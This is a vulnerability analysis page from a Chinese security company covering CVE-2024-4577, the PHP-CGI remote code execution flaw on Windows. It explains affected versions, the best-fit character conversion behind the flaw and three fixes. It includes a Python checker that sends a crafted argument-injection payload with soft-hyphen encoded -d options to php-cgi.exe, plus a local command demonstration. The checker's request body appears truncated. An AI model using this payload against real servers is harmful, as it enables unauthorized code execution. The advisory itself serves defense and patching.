首页
技术服务
  • 网络安全等级保护测评
  • 商用密码应用安全性评估
  • 软件测试
  • 数据安全风险评估
  • 全生命周期安全保障
  • 实战攻防
  • 人才培养
培训赛事
  • 培训中心介绍
  • 赛事活动
  • 校企合作
  • 培训服务
  • 预约咨询
合作单位
  • 党政机关
  • 能源行业
  • 医疗行业
  • 教育行业
  • 重点用户
新闻中心
  • 企业动态
  • 行业资讯
  • 漏洞报告
人才招聘
  • 团队风采
  • 招聘信息
关于我们
  • 企业介绍
  • 企业文化
  • 发展历程
  • 荣誉资质
  • 公正性声明
  • 洽谈联系
新闻中心 漏洞报告
相关新闻
  • 2024-03-26

    CVE-2023-38545 curl & libcurl堆缓冲区溢出漏洞分析

  • 2022-04-29

    关于Apache Struts2存在远程代码执行漏洞的安全通告

  • 2021-03-05

    记一次渗透测试

  • 2021-08-20

    致远A8 OA未授权文件上传漏洞在野利用EXP预警通告

CVE-2024-4577 PHP CGI远程代码执行漏洞分析
2024-06-12

一、漏洞简介

图片


PHP 在设计时忽略Windows 中对字符转换的best fit 特性,当PHP-CGI 运行在Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求,在无需登录的情况下执行任意PHP代码。


二、影响范围

图片
图片

1、影响版本

PHP 8.3

PHP 8.2

PHP 8.1

图片

2、影响的软件

Windows系统条件下,安装有/cgi-bin/php-cgi.exe文件的Web服务器,其中影响最大的是XAMPP,以下均以XAMPP的稳定版本8.2.12的默认配置为例进行分析。


下载地址:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe

图片
图片

3、判断方式

使用python代码进行简单判断,如果返回漏洞存在就说明存在漏洞:

import requests,argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if __name__ == '__main__':
   parser = argparse.ArgumentParser()
   parser.add_argument("-t", "--target", help="目标地址", required=True)
   args = parser.parse_args()
   
   req = requests.post(args.target+"/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input", data=', allow_redirects=False, verify=False)
   content = req.content

   if b'vulnerability' in content:
       print("漏洞存在")
   else:
       req = requests.post(args.target+"/index.php?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input", data=', allow_redirects=False, verify=False)
       content = req.content
       if b'vulnerability' in content:
           print("漏洞存在")
       else:
           print("漏洞不存在")

使用方法,如下图所示:

图片




三、漏洞分析

图片
图片

1、利用条件

这个漏洞的利用前提是由于Windows系统内字符编码转换的best fit特性,所以前提条件就是必须是Window环境。


其次由于这个特性,windows必须使用以下其中之一的语言系统(codepage):

  •  繁体中文 (cp950)

  •  简体中文 (cp936)

  •  日文 (cp932)

而且除了这3个以外,其他的语言也不能完全排除影响,凡是存在该特性的的系统都受到影响。

图片

2、漏洞原理

结合新版本的php源码对比来看

https://github.com/php/php-src/tree/PHP-8.2.20/sapi/cgi

图片


校验了非ASCII(*p>=0x80)的字符,将其转换一下,如果转换之后为“-”,就忽略。

https://github.com/php/php-src/commit/88315f263dc4d64855a54e24b71970ad605fbacc

图片


通过比对可以知道,best fit特性实际是宽字节转换的一个操作,我们可以使用python检测下编码转换后的数据,以简体中文系统环境为例(cp936):

print("\xad")
print("-")

结果如下,0xad打印出来也是“-”,通过上面的源码对比可以看出,当发送的请求字符串中不包含"=",Apache就会把请求传到命令行作为cgi的参数,新版本过滤了ASCII字符和宽字符转换后的“-”,使得无法使用参数,故修复了漏洞。

图片


通过宽字符0xad,可以替换为“-”,也就相当于执行了php-cgi.exe支持的参数里面的指令,其中-d参数配合auto_prepend_file=php://input就能执行任何php代码了。

图片


测试操作打印123456到终端:

 echo "" | php-cgi.exe -d auto_prepend_file=php://input -d allow_url_include=1 -d cgi.force_redirect=0

结果如下:

图片




四、漏洞修复

图片

这个漏洞影响范围巨大,如果确认受影响,请将PHP升级至影响版本之外的版本,或关闭php cgi功能,甚至临时改名php-cgi.exe为php-cgi.exe.bak也可以进行缓解。

图片

1、方法一:升级


顾名思义,将PHP升级至影响版本之外的版本。


图片

方法二:修改配置

注释以下配置信息(如C:\xampp\apache\conf\extra\httpd-xampp.conf):

图片
图片

3、方法三:改名

找到安装目录,修改php-cgi.exe的名称

图片


如果不显示扩展名exe,首先需要显示文件扩展名(不同的系统修改方式不一样,可以自己参考网上教程),再修改文件名为php-cgi.exe.bak:

图片



Previous

暂无

Next

CVE-2023-38545 curl & libcurl堆缓冲区溢出漏洞分析

联系我们

地址:
总部地址:武汉市洪山区欢乐大道9号正堂时代28层
培训中心地址:武汉市东西湖区径河街道国家网络安全人才与创新基地培训中心1期
热线:
18627879046
027-88879416
邮箱:
whay@wuhananyu.com

技术服务

人才培养
实战攻防
全生命周期安全保障
数据安全风险评估
软件测试
商用密码应用安全性评估
网络安全等级保护测评

培训赛事

培训中心介绍
赛事活动
校企合作
培训服务
预约咨询

人才招聘

招聘信息
团队风采

投诉与监督:
027-88879416

关注我们
返回顶部
版权所有 Copyright @   2010-2014武汉安域信息安全技术有限公司       鄂ICP备16004959号      
   鄂公网安备 42018502000535号
技术支持:幸运坐标     免责声明